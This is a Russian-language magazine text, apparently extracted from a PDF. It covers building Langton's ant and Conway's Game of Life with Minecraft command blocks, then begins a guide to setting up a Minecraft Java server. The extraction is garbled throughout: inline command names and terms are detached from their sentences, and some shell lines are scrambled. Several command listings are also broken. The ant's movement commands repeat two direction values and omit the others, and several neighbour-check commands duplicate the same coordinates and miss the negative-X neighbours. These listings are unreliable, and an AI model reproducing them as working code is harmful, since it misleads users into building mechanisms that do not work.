для довольно сложных алгоритмов.

add
scoreboard objectives add "Название счетчика" <тип>

dummy

dummy

Удалить ненужный счетчик можно командой :remove

scoreboard objectives remove "Название счетчика"


Команда  позволяет отображать значения существующего счет‐

чика в одном из трех мест:

setdisplay

 — под ником игрока. Заметно только в многопользователь‐
ской игре. На серверах его любят использовать для вывода значения счет‐
чика типа , чтобы отображать здоровье других игроков;

• below_name

health

 — возле ника в списке игроков (открывается по кнопке Tab);• list

/  используется для  вывода счетчика
в правой части экрана. Если используешь , то его
будут видеть только игроки цвета заданной команды (да, игроков можно
объединять в команды и работать сразу со всей группой).

• sidebar sidebar.team."цвет"

sidebar.team."цвет"

scoreboard players
Эта часть системы счетчиков используется, чтобы управлять значениями уже
созданных счетчиков. В  механизмах ты будешь использовать почти исклю‐
чительно функции этого раздела.

Операции ,  и   работают совершенно очевидным способом:

/   — это, соответственно, сложение и  вычитание, а    — прис‐
воение. Команда  стоит чуть особняком, потому что не  просто сбра‐

сывает счетчик в ноль, а дает ему значение , то есть отсутствие вообще

какого‑либо значения. На  практике это  выглядит как  удаление какой‑либо
переменной для конкретной сущности.

set add remove
add remove set

reset
null

Пример:

/scoreboard players set Cat Meow 23


Тут мы устанавливаем игроку Cat значение счетчика Meow в 23.
Важная ремарка: целевая сущность (в примере  — игрок Cat) вообще

не обязана существовать. Ты можешь просто указать любой ник и привязать
переменную к виртуальной сущности, то есть, грубо говоря, создать глобаль‐
ную переменную, к  которой удобно обращаться для  обмена информацией
с другими сущностями. Удалить ее можно также командой .reset

Посмотреть все привязанные к  игроку счетчики можно командой ,

которая принимает единственный аргумент — ник целевого игрока.

list

Например,  выведет список всех наз‐
наченных игроку Cat счетчиков, то есть после выполнения прошлого примера
оно выведет .

/scoreboard players list Cat

Meow

МУРАВЕЙ ЛЭНГТОНА

Все, с теорией разобрались, и этого будет достаточно, чтобы построить наш
первый серьезный алгоритм! Начнем с  известного клеточного автомата  —
муравья Лэнгтона. Сделать его не так уж и сложно — это осилили даже сами
разработчики Minecraft! Но мы не ищем легких путей и сделаем его сами.

Если ты забыл, то  такие:правила
на черном квадрате  — повернуть на  90° влево, изменить цвет квадрата
на белый, сделать шаг вперед на следующую клетку;

•

на белом квадрате  — повернуть на  90° вправо, изменить цвет квадрата
на черный, сделать шаг вперед на следующую клетку.

•

Создадим мир. Советую выбрать суперплоский, дальше в  настройках выб‐
рать «Шаблоны» и «Редстоун мастерскую».

Переходим к  командам. Если в  начале строки будет идти слеш, пиши
команду в  чат, а  если его нет, то эта строка  — часть механизма и  ее нужно
записать в командный блок.

Первым делом создаем муравья. Встань на поверхность и выполни коман‐
ду

/execute align xyz run summon armor_stand ~0.5 ~ ~0.5 {NoGravity:1,
Invisible:1}


Вот что здесь происходит: мы выровняли наши относительные координаты
до  «нулей» относительно блока, после чего заспавнили невидимую стойку
для брони, не подверженную гравитации, по координатам 0,5 по X и Z (то есть
ровно на  центре блока). Дальше для  удобства советую надеть на  стойку
шлем.

Во всех последующих операциях будем обращаться к этому блоку селек‐
тором . Почему

таким? Мы выбираем одну сущность типа «стойка для  брони» с  NBT-тегом
, равным , — таких у нас будет ровно одна, та, что нам надо.

Если тебе нужны такие стойки еще для чего‑то, используй какие‑нибудь отли‐
чительные признаки и более точный селектор.

@e[limit=1,type=armor_stand,nbt={NoGravity:true}]

NoGravity true

Дальше нужно сделать систему поворота, зависящую от  блока внизу.
Для этого создадим переменную поворота:

/scoreboard objectives add Ant dummy


Сам поворот:

execute as @e[limit=1,type=armor_stand,nbt={NoGravity:true}] at @s 
if block ~ ~-1 ~ minecraft:sandstone run scoreboard players add Ant 
Ant 1


execute as @e[limit=1,type=armor_stand,nbt={NoGravity:true}] at @s 
if block ~ ~-1 ~ minecraft:black_wool run scoreboard players remove 
Ant Ant 1


Дальше делаем ограничение поворота, чтобы значение переменной находи‐
лось в границах от 0 до 3.

execute if score Ant Ant matches 3.. run scoreboard players set Ant 
Ant 0


execute if score Ant Ant matches ..0 run scoreboard players set Ant 
Ant 3


Теперь сделаем проверку блока под муравьем. Создадим счетчик:

/scoreboard objectives add isblack dummy


Теперь командные блоки:

execute as @e[limit=1,type=armor_stand,nbt={NoGravity:true}] at @s 
if block ~ ~-1 ~ black_wool run scoreboard players set IsBlack 
isblack 1


execute as @e[limit=1,type=armor_stand,nbt={NoGravity:true}] at @s 
if block ~ ~-1 ~ sandstone run scoreboard players set IsBlack 
isblack 0


Отдельным модулем сделаем «перекрашивание» клетки, то есть установку
блока под  муравьем. Если муравей стоит на  черном блоке  — его нужно
перекрасить в белый, если на белом — в черный.

execute at @e[limit=1,type=armor_stand,nbt={NoGravity:true}] if 
score IsBlack isblack matches 1 run setblock ~ ~-1 ~ minecraft:
sandstone


execute at @e[limit=1,type=armor_stand,nbt={NoGravity:true}] if 
score IsBlack isblack matches 0 run setblock ~ ~-1 ~ minecraft:black_
wool


Направление передвижения зависит от значения переменной  (от 0 до 3):Ant

execute as @e[type=minecraft:armor_stand,nbt={NoGravity:true}] at @s 
if score Ant Ant matches 3 run tp @s ~ ~ ~-1


execute as @e[type=minecraft:armor_stand,nbt={NoGravity:true}] at @s 
if score Ant Ant matches 2 run tp @s ~-1 ~ ~


execute as @e[type=minecraft:armor_stand,nbt={NoGravity:true}] at @s 
if score Ant Ant matches 2 run tp @s ~ ~ ~1


execute as @e[type=minecraft:armor_stand,nbt={NoGravity:true}] at @s 
if score Ant Ant matches 3 run tp @s ~1 ~ ~


Ну и последний штрих — сброс значения блока под муравьем. Это позволит
остановить муравья, просто сломав под  ним блок. Для  ускорения работы я
его объединил с прошлыми блоками:

scoreboard players set IsBlack isblack -1


В результате «мозг» муравья должен выглядеть как  на картинке ниже.
Логически он разделен на  четыре секции, каждая из  которых активируется
по очереди, при этом все блоки в одной секции активируются одновременно.

Искусственный интеллект

Повторители вносят небольшую задержку, что позволяет создать генератор
частоты, подав в любое место короткий импульс красного камня и выставив
желаемую частоту повторителями. Тут они несут еще  одну важную функцию:
заставляют группы командных блоков активироваться по очереди. Если этого
не сделать, схема будет работать неправильно. Чтобы активировать муравья,
постарайся как можно быстрее включить и выключить рычаг.

Спустя приблизительно час муравей начал строить магистраль  — оно
работает!

Результат работы муравья

Продолжение статьи
→
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ИГРА В ЖИЗНЬ
ПРОГРАММИРУЕМ В MINECRAFT

И ДЕЛАЕМ КЛЕТОЧНЫЕ АВТОМАТЫ

COVERSTORY 
НАЧАЛО СТАТЬИ←

ИГРА «ЖИЗНЬ»

, наверное, самый известный клеточный автомат, являющийся
еще  и Тьюринг‑полным, то есть внутри можно реализовать любую машину
Тьюринга (даже, например, процессор). Давай рассмотрим правила,
по которым работает этот клеточный автомат.

Игра «Жизнь»

У каждой клетки есть восемь соседей. Каждая клетка может быть живой
или мертвой. Живыми условно зовутся черные клетки, а мертвыми — белые.
Клетка оживает, если у нее ровно три соседа. Клетка продолжает жить, если
у  нее два или  три соседа. Вот, собственно, и  все правила. Несмотря на  их
простоту, они позволяют построить даже калькулятор  — только мы этого
сегодня делать не будем и обойдемся базовой версией.

Управление
Поскольку проект у нас серьезный, управление им тоже нужно серьезное. Я
сделал целую комнату управления с кнопками для всех важных действий.

Кнопка «Рандом» случайным образом размещает клетки на  поле. Кнопки
«Старт», «Стоп» и  «Продолжить» управляют симуляцией. «Обнулить»  —
заполняет поле мертвыми клетками (может быть нужно, когда хочешь постро‐
ить какую‑то фигуру руками). «Запустить с  нуля чтение»  — возвращает
симуляцию на начало шага, чтобы при продолжении такт симуляции прошел
полностью (ты вполне можешь приостановить работу посреди такта). Чтобы
полностью перезапустить игру с  помощью этой панели управления, нужно
нажать «Стоп → Рандом → Запустить с нуля чтение → Старт».

Я решил создать поле 25 на 25 блоков. Таких полей нам потребуется три:
одно для случайного размещения клеток, одно основное для отрисовки игры
и  одно буферное  — прямо под  основным. Первое из  них нужно сделать
поодаль, хотя бы блоков 50. Когда прилетишь к месту, которое тебя устроит,
пиши:

/fill ~ ~-1 ~ ~-24 ~-1 ~24 white_wool


Дальше ставишь на получившемся поле около 300–350 стоек для брони (по
количеству желаемых клеток). В центре — обязательно под полем — ставишь
командные блоки со следующими командами:

// Сбрасываем поле рандома

fill X1 Y Z1 X2 Y Z2 white_wool


// Рандомно распределяем стойки для брони

spreadplayers XC ZC 1 12 false @e[type=minecraft:armor_stand,
distance=..20]


// Ставим под ними черную шерсть

execute at @e[type=minecraft:armor_stand,distance=..20] run setblock 
~ ~-1 ~ black_wool


// Клонируем получившийся результат на игровое поле

clone X1 Y Z1 X2 Y Z2 XF YF ZF


Я умышленно не  писал свои координаты, потому что у  тебя они точно будут
другие. /  и  /   — это  координаты углов поля,   — высота поля, 

и    — координаты центра поля (именно для  этого его размеры я выбрал

нечетными), а  / /  — это координаты угла игрового поля.

X1 Z1 X2 Z2 Y XC
ZC

XF YF ZF
Незнакомой для тебя тут может быть только команда . Она

случайным образом распределяет заданные сущности по некоторой области.

spreadplayers

Теперь отлети подальше и поставь еще одно поле — это уже будет игро‐
вое:

/fill ~ ~-1 ~ ~-24 ~ ~24 white_wool


На нем размещаешь 25 стоек для брони в ряд по краю (опять же на них удоб‐
но будет навесить шлемы):

/execute align xyz run summon armor_stand ~0.5 ~ ~0.5 {NoGravity:1,
Invisible:1}


Если ты вдруг потерял какую‑то из  стоек, что, в  общем‑то, нетрудно, когда
они невидимы и  неосязаемы,  — зайди в  режим наблюдателя (F3 + N),
в котором такие стойки отображаются полупрозрачными.

Результат, вид сбоку

Сам движок можно условно разделить на  две части: обработка клетки плюс
сканирование поля (справа) и  тактирование (слева). Логика блоков так‐
тирования проста: когда стойка отсканирует весь ряд под собой, она дойдет
до командных блоков слева, которые немедленно вернут ее на начало ряда.

Теперь, когда известно, где будет игровое поле, разберемся с командным
центром.

Командный блок посередине и  крайняя правая цепочка (на всю ширину
поля) нужны для кнопки «Запустить с нуля чтение». Центральный просто унич‐
тожает все стойки, чтобы потом их можно было пересоздать:

kill @e[type=minecraft:armor_stand,distance=..20]


В каждом блоке из  самой правой цепочки записана следующая команда.
Нужна она, чтобы при активации блока создать новые стойки на начале каж‐
дой дорожки поля. Первый в  цепочке должен быть в  режиме «Импульсный,
нужен редстоун», а последующие — «Цепной, всегда активен».

summon minecraft:armor_stand ~ ~3.5 ~3 {NoGravity:1,Invisible:1}


Если будешь делать это  у себя, обрати внимание на  относительные коор‐
динаты. У  тебя даже они могут отличаться, если ты повернешь поле другой
стороной! Я ориентировал поле так, чтобы начала дорожек (правая сторона
скриншота) смотрели в сторону уменьшения оси Z.

Сама кнопка «Запустить с нуля чтение» будет ставить блок красного камня
возле командного блока, убирающего стойки, потом ставить на  его месте
воздух, активировать цепочку установки стоек для  брони, убирать там блок
красного камня. То есть просто уничтожит существующие стойки и  создаст
новые.

Справа за  фиолетовыми командными блоками ты мог заметить полиро‐
ванный диорит. Он заменяется блоками красного камня и  обратно
с помощью кнопок «Продолжить» и «Стоп». Когда там стоит красный камень,
схема работает. «Рандом» включает командный блок, случайно распределя‐
ющий стойки на  специальном поле, а  еще заполняет буферный слой белой
шерстью.

Инициализация поля

«Обнулить» заполняет поля (и буфер, и  основное) мертвыми клетками.
И «Cтарт», и «Продолжить» включают схему, но «Старт» еще и обнуляет счет‐
чик . Что за счетчик ? Сейчас покажу!Life Life

Механизм работы
Обрати внимание: я буду писать команды для  своего частного случая, пос‐
кольку общий для них слишком сложен. Если будешь повторять — придется
пересчитать координаты для своего случая.

Для начала создадим счетчик:

scoreboard objectives add Life dummy


В нем будет записано количество живых клеток вокруг заданной клетки.
Для каждой полосы игрового поля будет использоваться двенадцать коман‐
дных блоков: восемь однотипных на  поиск живых соседей и  еще четыре
на все остальное.

Каждый столбик на  картинке обслуживает свой ряд, и  отличаются столбцы
только координатами рядов, которые они обслуживают. Первый верхний  —
«Цикличный, нужен редстоун», остальные — «Цепной, всегда активен». Необ‐
ходимость редстоуна для  первого блока установлена для  того, чтобы схему
можно было включить или выключить с помощью блоков красного камня сза‐
ди.

Итак, в первых восьми блоках столбца команды следующие:

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~ ~-1 ~1 black_wool run scoreboard players add 
@s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~1 ~-1 ~1 black_wool run scoreboard players 
add @s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~1 ~-1 ~ black_wool run scoreboard players add 
@s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dz=25]
at @s if block ~1 ~-1 ~1 black_wool run scoreboard players add @s 

Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~1 ~-1 ~ black_wool run scoreboard players add 
@s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~ ~-1 ~-1 black_wool run scoreboard players 
add @s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~1 ~-1 ~-1 black_wool run scoreboard players 
add @s Life 1

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if block ~1 ~-1 ~-1 black_wool run scoreboard players 
add @s Life 1


Команды однотипные, поэтому разберу только одну из них. От имени любой
стойки для брони, стоящей на координатах  и со сдвигом

по оси Z не больше 25 блоков (то есть в пределах игрового поля), проверяем
блок, соседний с  блоком под  ногами, не  является ли он черной шерстью.
Если является, мы нашли живого соседа, увеличиваем счетчик. И так восемь
раз — по одной проверке на каждого соседа.

X=157 Y=60 Z=260

Дальше рассмотрим остальную часть «правого» блока:

// Если Life равен 3, то поставить в буферном поле черную шерсть

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if score @s Life matches 3 run setblock ~ ~-2 ~ 
minecraft:black_wool


// Если живых соседей от 2 до 3, жизнь сохраняется, отмечаем в буфер

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] at @s if score @s Life matches 2..3 if block ~ ~-1 ~ black_
wool run setblock ~ ~-2 ~ minecraft:black_wool


// Обнуляем счетчик Life

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=25] run scoreboard players set @s Life 0


// Сдвигаем стойку на блок дальше, сканируя так поле блок за блоком

execute as @e[type=minecraft:armor_stand,x=157,z=260,y=60,dx=0,dy=0,
dz=24] at @s run tp @s ~ ~ ~1


Заметь, что в  последней команде мы берем дистанцию максимум  24  —
на единицу меньше длины поля. Нужно это для того, чтобы не двигать дальше
стойку, которая уже дошла до конца поля.

Теперь нужно повторить все это еще 24 раза (каждый раз со смещением
координаты ряда). Я сделал небольшую автоматизацию, что и тебе советую.

Теперь перейдем к  тактированию. Это  левая часть командных блоков  —
на  картинке с  видом сбоку. Их нужно разместить на  блок по  диагонали
от поля, чтобы они не были в пределах поля. Во всех блоках схемы тактирова‐
ния команды одинаковые:

scoreboard players set @e[distance=..2.5] Life 0

tp @e[type=minecraft:armor_stand,distance=..3.5,limit=1] ~ ~3.5 ~-25


Первый выставь на  «Цикличный, всегда активный», второй  — на  «Цепной,
условный, всегда активный». Первый обнуляет счетчик на случай, если обну‐
ление не  сработает в  основной цепочке, а  второй возвращает стойку
в  начало ряда. Поскольку все стойки у  нас идут синхронно, то можешь пос‐
тавить эти блоки только в одном месте (я выбрал на крайней стойке). К тем
двум командным блокам нужно добавить еще  два (оба в  режиме «Цепной,
условный, всегда активный»):

clone 157 58 284 181 58 260 157 59 260

fill 157 58 284 181 58 260 white_wool


Координаты углов поля подставь свои. Первый копирует буферный слой
наверх, чтобы отобразить уже готовый кадр игры, а  второй очищает буфер,
чтобы подготовить его к отрисовке следующего кадра.

С логикой закончено! После этого поле обычно замыкают вначале в трубу,
после в тор. Я решил остановиться на замыкании в трубу. Для этого в коман‐
дных блоках, обрабатывающих крайние строки поля, нужно поменять коор‐
динаты, выходящие за  рамки поля, на  координаты крайнего ряда противо‐
положной части поля. А как замкнуть поле в тор, пусть будет твоим домашним
заданием.

Вот теперь точно всё, можно играть!

Испытания
Вначале я решил сделать три глайдера и посмотреть, как они столкнутся.

Скучно. Поэтому я нажал на кнопку «Рандом» и посмотрел, к чему придет сис‐
тема.

Время активной жизни популяции составило около семи с половиной минут.
Как видишь, даже когда кажется, что вот уже всё, сейчас устаканится система,
она оживает с новыми силами.

Мне пришлось ускорить гифку в  четыре раза, потому что состоит она
из 350+ кадров. В игре происходит 20 тиков в секунду, в ряду поля 25 блоков,
значит, на  один кадр игры уходит примерно  1,25  секунды. Поэтому я решил
не сканировать все поле одной стойкой для брони — тогда отрисовка одного
кадра заняла  бы чуть более  31  секунды, что неприемлемо долго даже
для учебного проекта.

В самом конце я вспомнил, что многие QR-коды имеют размер
как  раз  25  на  25  пикселей. Один из  таких (как думаешь, какой?) я скормил
игре.

Система достигла равновесия через 200 с небольшим кадров. Где‑то обра‐
зуются устойчивые структуры, где‑то глайдеры или  пульсары, но  все равно
жизнь в конце прекращается.

INFO

Если ты читаешь эту статью в PDF, можешь найти
версию на  сайте, чтобы посмотреть анимацию
на трех картинках выше.

ВЫВОДЫ

Не зря Minecraft называют игрой с  бесконечным творческим потенциалом.
В  этой статье я познакомил тебя с  некоторыми базовыми командами
и показал, как можно построить даже механизмы со сложной логикой. Наде‐
юсь, ты понял, какая гибкая игра Minecraft и насколько может отличаться один
и  тот же механизм у  разных людей. Теперь, имея базовые знания, ты сам
можешь развлекаться с подобным в свободное от хакерства время.

https://ru.wikipedia.org/wiki/%D0%98%D0%B3%D1%80%D0%B0_%C2%AB%D0%96%D0%B8%D0%B7%D0%BD%D1%8C%C2%BB
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Minecraft — игра настолько популярная, что
даже спустя 14 лет после выхода у нее мил‐
лионы активных игроков по  всему миру,
которые держат десятки тысяч игровых сер‐
веров. Хочешь тоже заиметь свой? Из этой
статьи ты узнаешь, как  с нуля запустить
сервер нужной тебе версии и обвешать его
дополнениями для комфортной игры.

Существует две основные редакции Minecraft: Java и  Bedrock (она же
Windows 10 Edition, в девичестве Minecraft PE, версия для смартфонов). Кро‐
ме нее, существует еще  несколько менее распространенных ,
которые мы вообще рассматривать не  будем. Эта статья относится исклю‐
чительно к  Minecraft Java Edition, которая доступна для  компьютеров. Сле‐
довательно, для  повторения прочитанного тебе понадобится как  минимум
компьютер. Еще  пригодится сервер, где мы будем запускать игру, но, если
его нет, сгодится и виртуалка или просто твой рабочий комп.

вариантов

Предварительную базовую  мы пропустим, тем более
что, если сервер у тебя уже есть, ты, конечно, уже настроил его. Начнем сразу
с зоопарка Minecraft.

настройку сервера

Читай также

• Охота на криперов. Изучаем образцы малвари для Minecraft
• Бот для Minecraft. Изучаем машинное зрение на примере игрового бота

ТАКОЙ РАЗНЫЙ MINECRAFT

Кроме разных редакций самой игры, существует еще  огромное количество
систем модификации и  серверов. И  если серверы хотя  бы частично сов‐
местимы между собой по части плагинов, то системы модов — это отдельный
мир со  своими чудовищами и  волшебными тварями. Основных серверов
существует несколько:
1.  Mojang (компания  — разработчик Minecraft) предлагает

свой сервер, который поддерживает только заложенные в игру разработ‐
чиками возможности.

Официальный.

2.   — самый простой кастомный сервер, который под‐
держивает плагины.
CraftBukkit/Spigot

3.  — форк Spigot, сделанный с расчетом на максимальную оптимиза‐

цию и стабильность. Рекомендуется в связке с прокси‑сервером Velocity,
который позволяет создавать сложные серверы с множеством карт и рас‐
пределять нагрузку.

Paper

Сама игра тоже не  остается неизменной, поскольку игрокам быстро надо‐
едает бегать в  пустом мире и  убивать дракона, тем более что этот процесс

 проходить всего за 1 минуту и 32 секунды на фиксированном сиде
и  за чуть больше  7  минут на  случайном. Силами сообщества создано
огромное количество модов, которые добавляют в игру новых мобов, боссов,
локации и даже оружие. Чтобы подружить между собой разные моды, сущес‐
твуют специальные загрузчики, которые один раз патчат файл игры и  затем
догружают моды динамически. Основных загрузчиков существует четыре
(разумеется, они несовместимы между собой):

научились

1.   — самый старый загрузчик. Он существует уже  13  лет и  доступен
с версии игры 1.1 (актуальная сейчас — 1.21.4). Для него доступно больше
всего модов, и до недавних пор он был вообще единственным пригодным.

Forge

2.  — преемник Forge. От команды его разработчиков откололась
группа, которая основала новый проект, призванный исправить проблемы
предшественника. Сообщество моддеров тепло встретило NeoForge,
и  многие моды для  актуальных версий игры выпускаются с  поддержкой
NeoForge, тем более что он в  значительной степени обратно совместим
со старым Forge.

NeoForge

3.   — это  принципиально иной загрузчик, который дает модам воз‐

можности, недоступные в Forge. У него быстро выросло свое сообщество,
и это единственный серьезный конкурент Forge/NeoForge. Главная проб‐
лема состоит в том, что портировать моды между Forge/NeoForge и Fabric
очень трудно, так что большинство модов выходят с  поддержкой либо
одного загрузчика, либо другого.

Fabric

4.  — это еще одна ветвь моддинга, которая была призвана исправить

проблемы Forge, но не смогла обрести достаточную популярность. Модов
с  поддержкой этого загрузчика очень мало, и  даже такие моды обычно
поддерживают еще и Fabric, так что смысла делать сборку на базе Quilt нет
никакого, если только ты не решил сделать что‑то очень уж специфичес‐
кое.

Quilt

Загрузчики модов можно запустить в режиме сервера, тогда они будут вести
себя как  официальный сервер, но  с поддержкой модов. Само собой, уста‐
новить несколько загрузчиков одновременно нельзя.

ПРОСТЕЙШИЙ СЕРВЕР

Все серверы запускаются схожим образом. При первом запуске генерируют‐
ся файлы с настройками, а при втором и последующих запускается собствен‐
но сервер, к которому можно будет подключиться и поиграть.

Для запуска потребуется Java, поскольку Minecraft написан именно
на этом языке. Кроме того, пригодится утилита screen, чтобы отправить кон‐
соль в фон. Для Windows скачай Java с  , а запуск в фоне
проще всего организовать обычным сворачиванием окна. Дальше я буду
показывать на  примере сервера с  Ubuntu, но  все то же самое можно пов‐
торить и в Windows — команды будут точно такие же.

официального сайта

Установим Java:

apt sudo install openjdk-21-jre


Чтобы проверить, что Java установлена корректно, выполни :java -version

java $ -version
openjdk version "21.0.6" 2025-01-21

OpenJDK Runtime Environment (build 21.0.6+7-Ubuntu-124.04.1)
OpenJDK 64-Bit Server VM (build 21.0.6+7-Ubuntu-124.04.1, mixed mode,
sharing)

Таким же образом установи :screen

apt sudo install screen


Screen
Утилита   — это  мультиплексор терминалов. Глубокие знания по  этой
теме сегодня не потребуются, достаточно уметь просто запускать новый тер‐
минал, подключаться к нему и отключаться обратно. Если тебе по душе tmux
или что‑то еще — пользуйся, чем тебе больше нравится.

screen

Чтобы создать новый терминал при помощи , выполниscreen

screen -S имя_терминала


Например:

screen -S minecraft


Когда ты подключен к  терминалу, прокрутка истории колесиком мыши ста‐
новится недоступна, так что используй хоткей  для  перехода

в режим копирования и перемещайся по экрану стрелочками на клавиатуре.
Для выхода нажми  два раза либо . Для отключения от терминала
используй , а  для подключения обратно  — 

. Посмотреть список запущенных терминалов можно коман‐

дой .

Ctrl-A,[

Enter Ctrl-C
Ctrl-A,D screen -r 

имя_терминала
screen -ls

Вот как выглядит список терминалов

Подключиться обратно к  терминалу с помощью  можно не только

по читабельному имени, которое ты задавал, но и по полному, если в списке
есть несколько терминалов с одинаковым читабельным именем.

screen -r

Теперь, когда с  подготовкой закончено, можно скачивать и  запускать твой
первый Minecraft-сервер! Скачай бинарник с  официальной 

 — прямой URL последней версии постоянно меняется, так что я не могу
привести его тут. Для версии 1.21.4 это можно сделать следующей командой:

страницы заг‐
рузки

wget https://piston-data.mojang.com/v1/objects/
4707d00eb834b446575d89a61a11b5d548d8c001/server.jar


Запускать сервер каждый раз будем одной незамысловатой командой:

java   -Xmx2G -Xms2G -jar server.jar --nogui

Первый запуск закончится очень быстро: сервер сгенерирует конфиги и поп‐
росит принять лицензионное соглашение (EULA) для  продолжения. С  EULA
все просто: чтобы принять соглашение, поменяй  на 
в файле . А вот настройки мы разберем подробнее, и начнем с опе‐

ративной памяти.

eula=false eula=true
eula.txt

Флаг  указывает максимальное доступное количество оперативной

памяти для игры. Кажется, будто надо выделять как можно больше, но на деле
это  не имеет смысла, и  для немодифицированного сервера  2  Гбайт будет
более чем достаточно для  пяти игроков. Для  каждого последующего игрока
память можно выделять из расчета 300–500 Мбайт на игрока в зависимости
от  желаемой дальности прорисовки (хоть прорисовка и  происходит на  кли‐
енте, это  требует загрузки и  передачи всех соответствующих чанков сер‐
вером).

-Xmx

INFO

Мир в  Minecraft хранится и  грузится чанками
(chunk) площадью  16  на  16  блоков и  высотой
в  соответствии с  типом мира. Стандартная
высота мира в старых версиях была 256 блоков,
но  позже ее расширили до  384  блоков с  воз‐
можностью изменения модами. На  клиенте мож‐
но задать желаемую дальность прорисовки в чан‐
ках (она не должна превышать разрешенной сер‐
вером), что приведет к  загрузке в  память всех
чанков, находящихся в  пределах заданного рас‐
стояния от  игрока. Площадь круга быстро (квад‐
ратично) увеличивается с  ростом радиуса, из‑за
чего так же быстро растет потребление памяти
сервером.

Флаг  задает нижний лимит потребления, что позволяет выделить игре

много памяти, но  освобождать неиспользуемую, чтобы хватало другим при‐
ложениям. К сожалению, Minecraft очень неохотно высвобождает память, так
что эти два параметра имеет смысл ставить в  одинаковое значение, чтобы
избежать накладных расходов на  постоянное выделение и  освобождение
памяти.

-Xms

Теперь разберемся с  настройками самой игры. Они хранятся в  файле
. Для удобства приведу тут его стандартное содержимое:server.properties

accepts-transfers=false
allow-flight=false
allow-nether=true
broadcast-console-to-ops=true
broadcast-rcon-to-ops=true
bug-report-link=
difficulty=easy
enable-command-block=false
enable-jmx-monitoring=false
enable-query=false
enable-rcon=false
enable-status=true
enforce-secure-profile=true
enforce-whitelist=false
entity-broadcast-range-percentage=100
force-gamemode=false
function-permission-level=2
gamemode=survival
generate-structures=true
generator-settings={}
hardcore=false
hide-online-players=false
initial-disabled-packs=
initial-enabled-packs=vanilla
level-name=world
level-seed=
level-type=minecraft\:normal
log-ips=true
max-chained-neighbor-updates=1000000
max-players=20
max-tick-time=60000
max-world-size=29999984
motd=A Minecraft Server
network-compression-threshold=256
online-mode=true
op-permission-level=4
pause-when-empty-seconds=60
player-idle-timeout=0
prevent-proxy-connections=false
pvp=true
query.port=25565
rate-limit=0
rcon.password=
rcon.port=25575
region-file-compression=deflate
require-resource-pack=false
resource-pack=
resource-pack-id=
resource-pack-prompt=
resource-pack-sha1=
server-ip=
server-port=25565
simulation-distance=10
spawn-monsters=true
spawn-protection=16
sync-chunk-writes=true
text-filtering-config=
text-filtering-version=0
use-native-transport=true
view-distance=10
white-list=false

Разберем, что делают важные опции, более подробно:
 разрешает полеты на  сервере. Стандартные механики

этой опцией затронуты не будут, и нужна она, только если ты собираешься
использовать мод, дающий возможность летать каким‑то другим спо‐
собом;

• allow-flight

 включает порталы в Ад. Обычно его трогать не нужно, если
ты не  строишь какую‑то особую карту для  прохождения или  лобби
для большого сервера;

• allow-nether

 задает игровую сложность. Можно установить в  одно
из четырех значений: , ,  или  ;

• difficulty

peaceful easy normal hard

 включает поддержку командных блоков на сер‐
вере. Если будет установлено в  , командные блоки не  будут
работать, даже если игрок имеет права оператора и получит такой блок;

• enable-command-block

false

 — если установить в  , сервер будет отображаться
игрой как офлайн, но к нему все равно можно будет подключиться;

• enable-status false

 позволяет назначить белый список игроков,
которые смогут подключаться к  серверу; удобно, если не  хочешь видеть
никого постороннего;

• enforce-whitelist

 задает игровой режим. Может принимать одно из четырех зна‐
чений: , ,  или  ;

• gamemode

creative survival spectator adventure

 позволяет настроить генератор мира, но  как‑то
криво — нормально эта функция работает только для суперплоских миров,
а  остальные, включая модифицированные, миры так настраивать
не получается, несмотря на то что это подробно описано в 
(если ты смог исправить эту проблему — расскажи в комментариях!);

• generator-settings

документации

 скрывает список игроков на сервере. Это можно
использовать для лучшей работы белых списков, потому что распростра‐
нены боты, которые сканируют интернет в  поисках открытых серверов
Minecraft, собирают никнеймы игроков и  пробуют заходить под  ними
в  надежде обойти белые списки и  случайно попасть в  учетку оператора.
Лично я несколько раз встречал таких ботов на  своих серверах, так что
угроза реальна;

• hide-online-players

 задает имя игрового мира. Можно использовать для  того,
чтобы подкинуть на  сервер свой мир, сгенерированный на  локальной
машине. Это  единственный известный мне способ получить желаемый
результат при использовании модов, меняющих генерацию;

• level-name

 позволяет задать ключ генерации мира. Миры, сгенери‐
рованные с  одним сидом, будут идентичны, и  это позволяет повторить
красивую генерацию из интернета. Важно помнить, что сиды продолжают
генерировать идентичные миры только в пределах одной версии генера‐
тора, то есть, если ты будешь искать сид для своего красивого мира, ищи
под свою версию игры;

• level-seed

 ограничивает максимальное количество игроков на  сер‐
вере. Операторы могут обходить этот лимит, но  для этого потребуется
включить соответствующую опцию в файле  (по умолчанию она
выключена);

• max-players

ops.json

  — это  максимальная длительность одного тика в  мил‐
лисекундах; по  ее превышении watchdog принудительно остановит сер‐
вер. По умолчанию это значение равно одной минуте, то есть если сделать
автоматический перезапуск сервера и он зависнет, то через минуту сра‐
ботает watchdog и  сервер перезапустится. Выставив значение , ты
отключишь watchdog, но по понятным причинам делать этого не следует;

• max-tick-time

-1

 — это произвольная текстовая строка, которая будет отображаться
у  клиента как  описание сервера. Юникод поддерживается, но  нужно
кодировать все спецсимволы в их escape-коды;

• motd

 включает или  отключает проверку лицензии клиента. Если
эта опция установлена в  , подключиться к  серверу смогут только
обладатели лицензионной копии игры. Разумеется, на всех пиратских сер‐
верах эта проверка выключена, и  спасибо Mojang за  такую удобную нас‐
тройку — нет необходимости выковыривать проверку из бинарника игры;

• online-mode

true

 включает возможность наносить урон другим игрокам. Если мы дела‐
ем образовательный сервер, это  можно отключить, но  возможность
наносить урон обходными путями (например, динамитом) остается;

• pvp

